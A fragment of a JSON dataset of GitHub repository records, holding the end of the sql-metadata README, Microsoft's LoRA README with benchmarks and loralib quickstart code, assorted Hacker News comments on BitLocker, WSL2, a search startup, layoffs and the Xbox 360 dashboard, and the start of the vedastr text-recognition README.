56)'\n\n# extract comments\nparser.comments\n# ['/* Test */']\n```\n\nSee `test/test_normalization.py` file for more examples of a bit more complex queries.\n\n## Migrating from `sql_metadata` 1.x\n\n`sql_metadata.compat` module has been implemented to make the introduction of sql-metadata v2.0 smoother.\n\nYou can use it by simply changing the imports in your code from:\n\n```python\nfrom sql_metadata import get_query_columns, get_query_tables\n```\n\ninto:\n\n```python\nfrom sql_metadata.compat import get_query_columns, get_query_tables\n```\n\nThe following functions from the old API are available in the `sql_metadata.compat` module:\n\n* `generalize_sql`\n* `get_query_columns` (since #131 columns aliases ARE NOT returned by this function)\n* `get_query_limit_and_offset`\n* `get_query_tables`\n* `get_query_tokens`\n* `preprocess_query`\n\n## Authors and contributors\n\nCreated and maintained by [@macbre](https://github.com/macbre) with a great contributions from [@collerek](https://github.com/collerek) and the others.\n\n* aborecki (https://github.com/aborecki)\n* collerek (https://github.com/collerek)\n* dylanhogg (https://github.com/dylanhogg)\n* macbre (https://github.com/macbre)\n\n## Stargazers over time\n\n[![Stargazers over time](https://starchart.cc/macbre/sql-metadata.svg)](https://starchart.cc/macbre/sql-metadata)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "microsoft/LoRA", "link": "https://github.com/microsoft/LoRA", "tags": ["gpt-2", "adaptation", "language-model", "gpt-3", "low-rank", "pytorch", "deep-learning", "roberta", "deberta"], "stars": 507, "description": "Code for loralib, an implementation of \"LoRA: Low-Rank Adaptation of Large Language Models\"", "lang": "Python", "repo_lang": "", "readme": "# LoRA: Low-Rank Adaptation of Large Language Models\n\n\nThis repo contains the source code of the Python package `loralib` and several examples of how to integrate it with PyTorch models, such as those in HuggingFace.\nWe only support PyTorch for now.\nSee our paper for a detailed description of LoRA.\n\n**LoRA: Low-Rank Adaptation of Large Language Models** <br>\n*Edward J. Hu\\*, Yelong Shen\\*, Phillip Wallis, Zeyuan Allen-Zhu, Yuanzhi Li, Shean Wang, Lu Wang, Weizhu Chen* <br>\nPaper: https://arxiv.org/abs/2106.09685 <br>\n\n*Update 2/2023: LoRA is now supported by the [State-of-the-art Parameter-Efficient Fine-Tuning (PEFT)](https://github.com/huggingface/peft) library by HuggingFace.*\n\nLoRA reduces the number of trainable parameters by learning pairs of rank-decompostion matrices while freezing the original weights.\nThis vastly reduces the storage requirement for large language models adapted to specific tasks and enables efficient task-switching during deployment all without introducing inference latency.\nLoRA also outperforms several other adaptation methods including adapter, prefix-tuning, and fine-tuning.\n\nWe obtain result comparable or superior to full finetuning on the GLUE benchmark using [RoBERTa (Liu et al., 2019)](https://arxiv.org/abs/1907.11692) base and large and [DeBERTa (He et al., 2020)](https://arxiv.org/abs/2006.03654) XXL 1.5B, while only training and storing a fraction of the parameters. Click the numbers below to download the RoBERTa and DeBERTa LoRA checkpoints.\n\n|   |         | RoBERTa base <br> Fine-tune  |  RoBERTa base <br> LoRA  | DeBERTa XXL <br> Fine-tune | DeBERTa XXL <br> LoRA  |\n|---|-------------------------|----------------|--------------------------|-----------------|-----------------|\n|   | # of Trainable Params.  | 125M | 0.8M | 1.5B | 4.7M     |\n|   | MNLI (m-Acc/mm-Acc)     | <b>87.6</b> | [<b>87.5</b>\u00b1.3/86.9\u00b1.3](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_mnli.bin) |91.7/<b>91.9</b>| [<b>91.9</b>\u00b1.1/<b>91.9</b>\u00b1.2](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_mnli.bin)       |\n|   | SST2 (Acc)              | 94.8 | [<b>95.1</b>\u00b1.2](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_sst2.bin) | <b>97.2</b>    | [96.9\u00b1.2](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_sst2.bin)                    |\n|   | MRPC (Acc)              | <b>90.2</b> | [<b>89.7</b>\u00b1.7](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_mrpc.bin) | 92.0           | [<b>92.6</b>\u00b1.6](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_mrpc.bin)             |\n|   | CoLA (Matthew's Corr)   | <b>63.6</b> | [<b>63.4</b>\u00b11.2](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_cola.bin) | <b>72.0</b>    | [<b>72.4</b>\u00b11.1](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_cola.bin)           |\n|   | QNLI (Acc)              | 92.8 | [<b>93.3</b>\u00b1.3](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_qnli.bin) | <b>96.0</b>    | [<b>96.0</b>\u00b1.1](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_qnli.bin)            |\n|   | QQP (Acc)               | <b>91.9</b> | [90.8\u00b1.1](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_qqp.bin) | 92.7           | [<b>92.9</b>\u00b1.1](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_qqp.bin)           |\n|   | RTE (Acc)               | 78.7 | [<b>86.6</b>\u00b1.7](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_rte.bin) | 93.9           | [<b>94.9</b>\u00b1.4](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_rte.bin)           |\n|   | STSB (Pearson/Spearman Corr) | 91.2 | [<b>91.5</b>\u00b1.2/<b>91.3</b>\u00b1.2](https://github.com/microsoft/LoRA/releases/download/RoBERTa-base/roberta_base_lora_stsb.bin) |<b>92.9</b>/92.6| [<b>93.0</b>\u00b1.2/<b>92.9</b>\u00b1.3](https://github.com/microsoft/LoRA/releases/download/DeBERTa/deberta_v2_xxlarge_lora_stsb.bin)      |\n|   | Average  | 86.40 | <b>87.24</b> | 91.06 | <b>91.32</b> |\n\n<i>Note: You still need the original pre-trained checkpoint from [HuggingFace](https://huggingface.co/) to use the LoRA checkpoints.</i>\n\nFine-tuning numbers are taken from [Liu et al. (2019)](https://arxiv.org/abs/1907.11692) and [He et al. (2020)](https://arxiv.org/abs/2006.03654).  We include confidence intervals on results from our experiments. Please follow the instructions in `examples/NLU/` to reproduce our results.\n\nOn GPT-2, LoRA compares favorably to both full finetuning and other efficient tuning methods, such as [adapter (Houlsby et al., 2019)](https://arxiv.org/abs/1902.00751) and [prefix tuning (Li and Liang, 2021)](https://arxiv.org/abs/2101.00190). We evaluated on E2E NLG Challenge, DART, and WebNLG:\n\n|   | Method              | # of Trainable Params | E2E (BLEU)   | DART (BLEU)  | WebNLG (BLEU-U/S/A)            |\n|---|---------------------|-----------------------|--------------|--------------|--------------------------------|\n|   | GPT-2 M (Fine-Tune) | 354.92M               | 68.2         | 46.0         | 30.4/<b>63.2</b>/47.6          |\n|   | GPT-2 M (Adapter)   | 0.37M                 | 66.3         | 42.4         | 45.1/54.5/50.2                 |\n|   | GPT-2 M (Prefix)    | 0.35M                 | 69.7         | 45.7         | 44.1/63.1/54.4                 |\n|   | GPT-2 M (LoRA)      | 0.35M                 |<b>70.4</b>\u00b1.1|<b>47.1</b>\u00b1.2| <b>46.7</b>\u00b1.4/62.1\u00b1.2/<b>55.3</b>\u00b1.2 |\n|   | GPT-2 L (Fine-Tune) | 774.03M               | 68.5         | 46.5         | 41.7/<b>64.6</b>/54.2          |\n|   | GPT-2 L (Adapter)   | 0.88M                 | 69.1\u00b1.1      | 45.7\u00b1.1      | <b>49.8</b>\u00b1.0/61.1\u00b1.0/56.0\u00b1.0 |\n|   | GPT-2 L (Prefix)    | 0.77M                 | 70.3         | 46.5         | 47.0/64.2/56.4                 |\n|   | GPT-2 L (LoRA)      | 0.77M                 |<b>70.4</b>\u00b1.1|<b>47.5</b>\u00b1.1| 48.4\u00b1.3/<b>64.0</b>\u00b1.3/<b>57.0</b>\u00b1.1 |\n\nNon-LoRA baselines, except for adapter on GPT-2 large, are taken from [Li and Liang (2021)](https://arxiv.org/abs/2101.00190). We include confidence intervals on results from our experiments.\n\nDownload the GPT-2 LoRA checkpoints:\n * [GPT-2 Medium E2E](https://github.com/microsoft/LoRA/releases/download/GPT-2/gpt2_md_lora_e2e.pt) (1.5 MB)\n * [GPT-2 Medium DART](https://github.com/microsoft/LoRA/releases/download/GPT-2/gpt2_md_lora_dart.pt) (1.5 MB)\n * [GPT-2 Medium WebNLG](https://github.com/microsoft/LoRA/releases/download/GPT-2/gpt2_md_lora_webnlg.pt) (1.5 MB)\n * [GPT-2 Large E2E](https://github.com/microsoft/LoRA/releases/download/GPT-2/gpt2_lg_lora_e2e.pt) (2.3 MB)\n * [GPT-2 Large DART](https://github.com/microsoft/LoRA/releases/download/GPT-2/gpt2_lg_lora_dart.pt) (2.3 MB)\n * [GPT-2 Large WebNLG](https://github.com/microsoft/LoRA/releases/download/GPT-2/gpt2_lg_lora_webnlg.pt) (2.3 MB)\n\nPlease follow the instructions in `examples/NLG/` to reproduce our result.\n## Repository Overview\n\n<i>(The initial release of this repo has been archived in the branch \"snapshot-9-15-2021\")</i>\n\nThere are several directories in this repo:\n* [loralib/](loralib) contains the source code for the package `loralib`, which needs to be installed to run the examples we provide;\n* [examples/NLG/](examples/NLG) contains an example implementation of LoRA in GPT-2 using our package, which can be used to reproduce the result in our paper;\n* [examples/NLU/](examples/NLU) contains an example implementation of LoRA in RoBERTa and DeBERTa using our package, which produces competitive results on the GLUE benchmark;\n* See how we use `loralib` in [GPT-2](examples/NLG/src/model.py), [RoBERTa](examples/NLU/src/transformers/models/roberta/modeling_roberta.py), and [DeBERTa v2](examples/NLU/src/transformers/models/deberta_v2/modeling_deberta_v2.py)\n\n## Quickstart\n\n 1. Installing `loralib` is simply\n ```\n pip install loralib\n # Alternatively\n # pip install git+https://github.com/microsoft/LoRA\n ```\n\n 2. You can choose to adapt some layers by replacing them with counterparts implemented in `loralib`. We only support `nn.Linear`, `nn.Embedding`, and `nn.Conv2d` for now. We also support a `MergedLinear` for cases where a single `nn.Linear` represents more than one layers, such as in some implementations of the attention `qkv` projection (see Additional Notes for more).\n ```\n # ===== Before =====\n # layer = nn.Linear(in_features, out_features)\n\n # ===== After ======\n import loralib as lora\n # Add a pair of low-rank adaptation matrices with rank r=16\n layer = lora.Linear(in_features, out_features, r=16)\n ```\n\n 3. Before the training loop begins, mark only LoRA parameters as trainable.\n ```\n import loralib as lora\n model = BigModel()\n # This sets requires_grad to False for all parameters without the string \"lora_\" in their names\n lora.mark_only_lora_as_trainable(model)\n # Training loop\n for batch in dataloader:\n    ...\n ```\n 4. When saving a checkpoint, generate a `state_dict` that only contains LoRA parameters.\n ```\n # ===== Before =====\n # torch.save(model.state_dict(), checkpoint_path)\n # ===== After =====\n torch.save(lora.lora_state_dict(model), checkpoint_path)\n ```\n 5. When loading a checkpoint using `load_state_dict`, be sure to set `strict=False`.\n ```\n # Load the pretrained checkpoint first\n model.load_state_dict(torch.load('ckpt_pretrained.pt'), strict=False)\n # Then load the LoRA checkpoint\n model.load_state_dict(torch.load('ckpt_lora.pt'), strict=False)\n ```\n\n#### Now training can proceed as usual.\n\n## Additional Notes\n\n1. While we focus on a simple yet effect setup, namely adapting only the `q` and `v` projection in a Transformer, in our examples, LoRA can be apply to any subsets of pre-trained weights. We encourage you to explore different configurations, such as adapting the embedding layer by replacing `nn.Embedding` with `lora.Embedding` and/or adapting the MLP layers. It's very likely that the optimal configuration varies for different model architectures and tasks.\n\n2. Some Transformer implementation uses a single `nn.Linear` for the projection matrices for query, key, and value. If one wishes to constrain the rank of the updates to the individual matrices, one has to either break it up into three separate matrices or use `lora.MergedLinear`. Make sure to modify the checkpoint accordingly if you choose to break up the layer.\n```\n# ===== Before =====\n# qkv_proj = nn.Linear(d_model, 3*d_model)\n# ===== After =====\n# Break it up (remember to modify the pretrained checkpoint accordingly)\nq_proj = lora.Linear(d_model, d_model, r=8)\nk_proj = nn.Linear(d_model, d_model)\nv_proj = lora.Linear(d_model, d_model, r=8)\n# Alternatively, use lora.MergedLinear (recommended)\nqkv_proj = lora.MergedLinear(d_model, 3*d_model, r=8, enable_lora=[True, False, True])\n```\n3. Training bias vectors in tandem with LoRA might be a cost-efficient way to squeeze out extra task performance (if you tune the learning rate carefully). While we did not study its effect thoroughly in our paper, we make it easy to try in `lora`. You can mark some biases as trainable by passing \"all\" or \"lora_only\" to `bias=` when calling `mark_only_lora_as_trainable`. Remember to pass the corresponding `bias=` argument to `lora_state_dict` when saving a checkpoint.\n```\n# ===== Before =====\n# lora.mark_only_lora_as_trainable(model) # Not training any bias vectors\n# ===== After =====\n# Training all bias vectors associated with modules we apply LoRA to \nlora.mark_only_lora_as_trainable(model, bias='lora_only')\n# Alternatively, we can train *all* bias vectors in the model, including LayerNorm biases\nlora.mark_only_lora_as_trainable(model, bias='all')\n# When saving a checkpoint, use the same bias= ('all' or 'lora_only')\ntorch.save(lora.lora_state_dict(model, bias='all'), checkpoint_path)\n```\n4. Calling `model.eval()` will trigger the merging of LoRA parameters with the corresponding pretrained ones, which eliminates additional latency for subsequent forward passes. Calling `model.train()` again will undo the merge. This can be disabled by passing `merge_weights=False` to LoRA layers.\n\n## Contact\nPlease contact us or post an issue if you have any questions.\n\nFor questions related to the package `loralib`:\n* Edward Hu (edward@edwardjhu.com)\n* Phillip Wallis (phwallis@microsoft.com)\n* Weizhu Chen (wzchen@microsoft.com)\n\nThe GPT-2 example:\n* Phillip Wallis (phwallis@microsoft.com)\n* Yelong Shen (yeshe@microsoft.com)\n\nThe RoBERTa/DeBERTa example:\n* Lu Wang (luw@microsoft.com)\n\n## Acknowledgements\nWe thank in alphabetical order Jianfeng Gao, Jade Huang, Jiayuan Huang, Lisa Xiang Li, Xiaodong Liu, Yabin Liu, Benjamin Van Durme, Luis Vargas, Haoran Wei, Peter Welinder, and Greg Yang for providing valuable feedback.\n\n## Citation\n```\n@misc{hu2021lora,\n    title={LoRA: Low-Rank Adaptation of Large Language Models},\n    author={Hu, Edward and Shen, Yelong and Wallis, Phil and Allen-Zhu, Zeyuan and Li, Yuanzhi and Wang, Lu and Chen, Weizhu},\n    year={2021},\n    eprint={2106.09685},\n    archivePrefix={arXiv},\n    primaryClass={cs.CL}\n}\n```\n\n## Contributing\n\nThis project welcomes contributions and suggestions.  Most contributions require you to agree to a\nContributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us\nthe rights to use your contribution. For details, visit https://cla.opensource.microsoft.com.\n\nWhen you submit a pull request, a CLA bot will automatically determine whether you need to provide\na CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions\nprovided by the bot. You will only need to do this once across all repos using our CLA.\n\nThis project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/).\nFor more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or\ncontact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additional questions or comments.\n", "readme_type": "markdown", "hn_comments": "If you don't create a Microsoft account then there is a potential pitfall:These days when you buy a new laptop from one of the big manufacturers it is fairly common for it to have the harddrive encrypted with bitlocker.If you don't create a Microsoft account and later the laptop stops working and you want to read the harddrive or ssd in another machine, uh oh, you don't have the bitlocker key, you have lost any files you did not have backed up.Some models of laptop intended for corporations have an option to erase the TPM if the laptop is physically opened. You opened that laptop to see if you could add more RAM? You need the bitlocker key to get your files back (or you need to restore from backup if you have one).The FBI wants to be able to access and forensically image devices that they have seized. If Microsoft keeps a copy of bitlocker keys in Microsoft accounts then they can also give them to the FBI and other spy agencies.<HN_SEP>I'm sure they had a good amount of debates around this.  Since neither of us knows their requirements it's hard to tell why.<HN_SEP>By default WSL2 should only be using 8GB ram or 50%, which ever is lower.As far as I know, the high memory usage of WSL2 is due Linux using as much spare RAM as possible for caching and WSL2 having to allocate memory for this cache.  Both Linux and Windows memory ballooning under KVM/QEMU manages dynamically manage memory and work around memory caching.I suspect the issue with WSL2 allocated memory being quickly consumed by cache could be currently a limitation of the Hyper-V hypervisor or the WSL2 kernel.<HN_SEP>Yeah there seems to be a memory leak in Hyper-V somewhere. Spinning up Docker containers on-demand (like for a local GitHub runner, for example) instantly gobbles up the whole allotment and, on defaults, makes my 32GB work computer totally unusable.I really wish I could just run proper Linux on the metal. Docker under emulation is such a disaster! I don't understand how it's the norm.<HN_SEP>You specify the wsl2 ram limit in the config file.By design it will end up using all the allocated ram for caches and linux programs.If you really need to free ram for windows apps you can flush caches by running below as rootecho 1 >> /proc/sys/vm/drop_caches<HN_SEP>What's your specific use case?  I haven't noticed any problems, but my usage is pretty light, with python scripts and some docker containers.<HN_SEP>I believe there was a configuration file for that.I just set it to 12 GB max, since I have 32 GBs of RAM, and it works just great.<HN_SEP>I really love the product. Would you be open to hiring an intern to work on the technical aspect but also dabble with the product? Im currently a 3rd year CS + Philosophy student in NYC. If its something you'd consider can I have your email and ill reach out with some more info about myself.<HN_SEP>If you haven't seen them already, the Danish startup Raffle.ai are solving a similar problem of internal search<HN_SEP>Welcome to the space - I'm one of the founders from https://curiosity.ai!\nIt's crazy how much movement there is recently, with Slapdash (now part of ClickUp), Command-E (sold to Dropbox), Raycast and many others, seems like the quest for the one search is still pretty much alive!Really interesting to see how you're integrating LLMs - something we've been curious to play with (but not yet feasible on-device as our app indexes everything locally).<HN_SEP>How is this different than Dropbox Dash (formerly known as Command-E)? What I love about Dash is that no metadata/index leaves my computer - are you taking the same approach?<HN_SEP>How do you compre to https://slapdash.com?<HN_SEP>I still miss my Google Desktop!<HN_SEP>Good luck with this, looks good, and an interesting project from a tech creator perspective. Particularly like the reassuring notes about auditing etc being central.Minor note - the link to try the web version doesn't work for me from the pricing section free option down the page. Chrome/Firefox Android mobile and desktop view. The main link at the top works fine.<HN_SEP>Congrats on the launch Max and James!We've been in this space for a lil bit too with eesel (https://eesel.app) and it's really cool to see more people tackling these problems. It's about time we fix this.Keen to be inspired and learn! :)<HN_SEP>With companies getting hacked left and right, I'm curious to hear how you manage to break through privacy/security concerns that I imagine would pop-up in a prospect's mind when they realize you're doing everything on the cloud.<HN_SEP>Congrats on the launch. I'm not sure if I'm the only one, but I never had the need or desire for this type of product. I usually know if the thing I'm looking for was in an email, in my Basecamp or in a Google Doc. I wonder why I feel so differently than obviously many other commenters on here.<HN_SEP>Needl looks really cool, congrats on the launch!Wondering if you could speak on a few topics in the spirit of hacker news / yc community:1. Wondering if you've run into any friction yet where employers block the end-user from integrating with their apps? Just curious to what level that is or is not a common practice for enterprise users?2. After using previous products that promise similar \"search across all apps\" functionality I soon felt the early excitement/novelty wear off and returned to old behaviors (ie, searching using each app's search). No doubt this is just a testament to how hard new habits are to build (and the old to let go of) but I'm wondering what your thoughts are on the human behavior / psychological aspect of products that have characteristics like this? As a tangential example, recent blogs posts featured on HN talked about how perhaps a chat-gpt conversational interface is not actually ideal to replace various UI/UX as it may take more cognitive overhead for the user to think of how to describe what they want when normally the UI/UX is what previously assisted them to arrive at that data. Basically I'm wondering how congruent (to existing behaviors) or novel your UX is and to what extent you believe this presents challenges to your team when designing (and perhaps marketing) the product?3. Can you speak on your YC journey?Thanks and good luck!<HN_SEP>As an aside, is there a selfhostable FOSS alternative for this product?<HN_SEP>Good luck on your launch!<HN_SEP>Feature request: Index arbitrary content/history across browsers and allow it to be re-opened (my main use case for your pseudo-competitor Rewind.ai).<HN_SEP>Hey Max! Great seeing you launch here, congrats :)<HN_SEP>How does your product compare to https://haystack.it?<HN_SEP>The core idea is similar to usefyi which pivoted to nira, an access/authorization monitoring service. Here is a thread on why they made the pivot.https://twitter.com/hnshah/status/1399773415213436934How is needle different?Are you also competing with various ctrl + K spotlight competitors, many funded by YC like raycast?<HN_SEP>Is there a way to switch between \"All\", \"Files\", \"Messages\", etc. using the keyboard? I'd like to be able to quickly filter the search results when I know what kind of thing I'm searching for.<HN_SEP>Congrats! I also think that your name (needl) is very creative and fits the problem you are solving very well :)<HN_SEP>Looks great<HN_SEP>I really like this idea! I definitely think this product has some potential. A few quick questions:1. Does this integrate with the filesystem (specifically with MacOS) or iCloud Drive?\n2. Are there any future plans to integrate with iMessage? While perhaps less important to enterprises, I feel like this could be very useful for \u201cprosumer\u201d productivity tool users like myself.\n3. Are there any future plans for a mobile app (specifically on iPhone).I\u2019m excited to try this product out. Congrats on your launch!!<HN_SEP>I always found this class of product fascinating, as new ones pop up all the time. I remember...* Google Desktop* Grepline / Cue (this is W10)* ... various other products ...I feel like for personal users, the product ultimately isn't sticky enough.However, \"enterprise search\" feel more viable path especially this is where it becomes more valuable (and where the money is). Also anybody whose working at a large company would need to have some enterprise procurements to sign up for such a service anyway. I'm talking about players like Glean in this area.<HN_SEP>[flagged]<HN_SEP>What does the prompt injection look like, how do you prevent hallucination<HN_SEP>Congrats on your launch, looks like a very useful tool!Although I have to say the privacy implications are quite concerning before I'd consider using it personally or for a team.You mention at rest encryption, how does that work with indexing the data and making search work?Will you offer retention policies on data?Any plans to include direct messaging platforms (if they offer api's)?<HN_SEP>Love the concept. I wish there were a way to add custom integrations for in-house software we use or uncommon systems we use. It would work better if these things were configured at the organization-level and not user-level (i.e. IT connecting Confluence to Needl instead of individual users requesting access one-by-one).Typo on the pricing page: \"and soon to be may others\", I assume meant \"many\".Would love to try but my daily driver is a Linux machine. I just don't spend enough hours a week on my Macbook for it to be relevant right now. Edit: I'll try the Chrome extension.Edit: The hover for \"Free for 14 days\" in the pricing page is black-on-black unless you hover exactly on the text. Webflow hover styling is awful, happens to me often too :)<HN_SEP>Looks good, will definitely give it a try. I'm starting to have so many apps that I trigger with keyboard shortcuts (Raycast, etc)...getting more difficult to choose shortcuts that don't conflict and remember all of them.<HN_SEP>Interesting but, no Linux version? Or does it run under wine?<HN_SEP>A lot of unhappy campers.Seriously, for startups looking for solid talent, it might be a field day.<HN_SEP>Looking a relatively recent history, 2001 was a huge it to the IT industry where a lot of people went into other occupations and a lot of CS grads never got an IT job out if college, leading to the hollowing out of the mid-tier developer roles in the 2000s. In the 2008 timeframe, there was a rough patch where a lot of folks couldn't find work, but things seemed to bounce back to normal pretty quickly in the IT space while the rest of the country toughed it out. In both cases, people that might not have normally done a startup got together and started new companies, whether bootstrap or funded, some of which might be household names today. This time around, the situation feels a little different. As one poster commented, there are still plenty of startups absorbing the newly available people, who will be grateful to have the opportunity. There will also be normal shuffling of changing careers and moving. However, what is different is that the culture and tooling from the recent pandemic make it easier for remote work. Silicon Valley might be getting hit hard, but that doesn't mean the rest of the country is feeling the same effects. There will be parts of the country (world) that bounce back faster than others, making it less painless for people to get back up-to-speed. Also, in the US, we have more of a safety net that might or might not be available, depending on the political climate - though it looks positive because of recent history and precedent for relief around the pandemic. Finally, considering that a lot of analysts (yeah, they're all over the place) are saying any recession would be short-lived or we might even just have a soft landing (again, understanding there's nothing soft about people losing work), there might be a whole lot less impact this time around compared to the past.<HN_SEP>First, just to acknowledge--it sucks to read that, and layoffs suck.With that said:High probability: The issue is already accounted for at a systems level, and is baked into the cyclical patterns for SF/bay area, just like any region. A number of support systems are typically in place for this contingency, and for most groups they will kick in and work: Family/social economic support systems are engaged; cyclical employment opportunities pick up in other not-so-tech areas which still need tech. Government included. People who like living in the bay area find ways to stick around because they enjoy some aspect of it, perhaps including some part of their personal history with the area.Medium probability: The effect is quickly displaced by the relatively new, driving position of tech in the broader scheme of things; new jobs are generally available in little time (speaking in terms of laid off population, not individuals unfortunately), as layoffs were part of a cyclical broader business execution pattern, and hiring is almost always going on. The S&P hits new highs amid some cautiousness, reinforcing and benefiting the natural instinct to increase savings in case another 2022 happens.Low probability: The SF local economy is shattered as 60K+ layoffs rock the community and cause cascading system failures. Biden visits and laments the entire bay area becoming a total pit. He would declare an emergency but doesn't have it in him. He throws around the words \"human feces\" as if they reinforce some covert, blanket agreement that SF just doesn't have it anymore. The buzzer sounds. Everyone shuts it down. Local cops form into lawless gangs offering near-bankrupt residents and business owners some meager peace from threat of direct violence, in exchange for selling their pets and small children into uncertain fates.Just some ideas though. You never really know I guess.<HN_SEP>Back in the days one would say they've boought a company that could do that. lulz<HN_SEP>I'm interested in this data center mode, has anyone ever gotten hold of the supplementary dash executable? Or was it gated in some way or not available?<HN_SEP>Great article. Perhaps the next step would be to try to get the data center xex to see what that is all about.<HN_SEP>I find it fascinating to learn that they tried. It looks like they really did, but it was a futile effort. What they needed to do was cut out a lot of the unnecessary crap.The beginning of the end was the release of the \"New Xbox Experience\" in 2008, which introduced a new rich and very cumbersome UI that was way heavier on resources, more confusing to navigate, and dedicated more real estate to ads and \"sponsored content\".If Microsoft cared about speed and usability, they should have reversed course. Kill NXE, restore the original snappy Blades UI, and backport the one useful NXE feature (the ability to install disc games to the HDD). Nobody's going to care about 3D avatars if they make your game machine take three times longer to boot.<HN_SEP>I really miss the original 360 \u201cblade\u201d dashboard. It was so fast and everything was predictable. So much so you could navigate without looking at the screen. It also had a great sound effect when you switched between blades.<HN_SEP>Great to see Eaton is still into Xbox, despite the craziness.I need to see if my lifetime license to FATxplorer is still valid.I sincerely hope the rest of the 'inner circle' is doing better and onto greener pastures, even if it means never touching an xbox or EA title again :P<HN_SEP>What i find fascinating is it got released as is: slowThen you have Sony who managed to make a whole media center + web browser into a tiny portable resource constrained device, aka the PSPMaybe that's why Microsoft could never make a PSP or a Nintendo handheld type console, lack of people who REALLY care about things<HN_SEP>Am I the only one which expected that loading from NAND would \nhave been faster than HDD ?<HN_SEP>I was honestly expecting an article about how the blades ui was the fastest and best xbox 360 ui because it wasn't loading advertisements.<HN_SEP>As indicated in the article, moving dashboard data files from compressed-and-slow NAND to a slightly-less-slow regular HDD would definitely be a performance win, but I think the author underestimates the extent of the improvement.The dashboard is commonly accessed right after the system has booted, at a time at which lots of startup processes are still competing for files stored on the NAND OS partition. This dramatically increases latency, and thus load times. Fetching dashboard resources from an idle HDD partition could definitely improve responsiveness by more than just a few milliseconds.I'm not too sure about the exact tooling available for the Xbox, but regular Windows has lots of tracing and analysis options available to improve boot times: see, for example, https://learn.microsoft.com/en-us/windows-hardware/test/wpt/...I would not be surprised at all if the Xbox team made this change in response to detailed responsiveness metrics, and that they saw a definite improvement afterwards, which is why they shipped the 'attempt'...<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Media-Smart/vedastr", "link": "https://github.com/Media-Smart/vedastr", "tags": ["pytorch", "scene-text-recognition", "ocr", "ocr-recognition", "text-recognition", "transformer"], "stars": 503, "description": "A scene text recognition toolbox based on PyTorch", "lang": "Python", "repo_lang": "", "readme": "## Introduction\nvedastr is an open source scene text recognition toolbox based on PyTorch. It is designed to be flexible\nin order to support rapid implementation and evaluation for scene text recognition task.  \n\n## Features\n- **Modular design**\\\n  We decompose the scene text recognition framework into different components and one can \n  easily construct a customized scene text recognition framework by combining different modules.\n  \n- **Flexibility**\\\n  vedastr is flexible enough to be able to easily change the components within a module.\n\n- **Module expansibility**\\\n  It is easy to integrate a new module into the vedastr project. \n\n- **Support of multiple frameworks**\\\n  The toolbox supports several popular scene text recognition framework, e.g., [CRNN](https://arxiv.org/abs/1507.05717),\n   [TPS-ResNet-BiLSTM-Attention](https://github.com/clovaai/deep-text-recognition-benchmark), Transformer, etc.\n\n- **Good performance**\\\n  We re-implement the best model in  [deep-text-recognition-benchmark](https://github.com/clovaai/deep-text-recognition-benchmark)\n  and get better average accuracy. What's more, we implement a simple baseline(ResNet-FC)\n   and the performance is acceptable.\n  \n\n## License\nThis project is released under [Apache 2.0 license](https://github.com/Media-Smart/vedastr/blob/master/LICENSE).\n\n## Benchmark and model zoo\nNote: \n- We use [MJSynth(MJ)](http://www.robots.ox.ac.uk/~vgg/data/text/) and\n [SynthText(ST)](http://www.robots.ox.ac.uk/~vgg/data/scenetext/) as training data,  and test the models on \n [IIIT5K_3000](http://cvit.iiit.ac.in/research/projects/cvit-projects/the-iiit-5k-word-dataset),\n [SVT](http://vision.ucsd.edu/~kai/svt/),\n  [IC03_867](http://www.iapr-tc11.org/mediawiki/index.php?title=ICDAR_2003_Robust_Reading_Competitions), \n  [IC13_1015](http://dagdata.cvc.uab.es/icdar2013competition/?ch=2&com=downloads),\n[IC15_2077](https://rrc.cvc.uab.es/?ch=4&com=downloads), SVTP,\n[CUTE80](http://cs-chan.com/downloads_CUTE80_dataset.html). You can find the \n datasets [below](https://github.com/Media-Smart/vedastr/tree/opencv-version#prepare-data).\n  \n| MODEL|CASE SENSITIVE| IIIT5k_3000|\tSVT\t|IC03_867|\tIC13_1015|\t IC15_2077|\tSVTP|\tCUTE80| AVERAGE|\n|:----:|:----:| :----: | :----: |:----: |:----: |:----: |:----: |:----: | :----:|\n|[ResNet-CTC](https://drive.google.com/file/d/1gtTcc5kpVs_s5a6OR7eBh431Otk_-NrE/view?usp=sharing)| False|87.97 | 84.54 | 90.54 | 88.28 |67.99|72.71|77.08|81.58|\n|[ResNet-FC](https://drive.google.com/file/d/1OnUGdv9RFhFbQGXUUkWMcxUZg0mPV0kK/view?usp=sharing)  | False|88.80  | 88.41 | 92.85| 90.34|72.32|79.38|76.74|84.24|\n|[TPS-ResNet-BiLSTM-Attention](https://drive.google.com/file/d/1YUOAU7xcrrsAtEqEGtI5ZD7eryP7Zr04/view?usp=sharing)| False|90.93 | 88.72 | 93.89| 92.12|76.41|80.31|79.51|86.49|\n|[Small-SATRN](https://drive.google.com/file/d/1bcKtEcYGIOehgPfGi_TqPkvrm6rjOUKR/view?usp=sharing)| False|91.97 | 88.10 | 94.81 | 93.50|75.64|83.88|80.90|87.19|\n\nTPS : [Spatial transformer 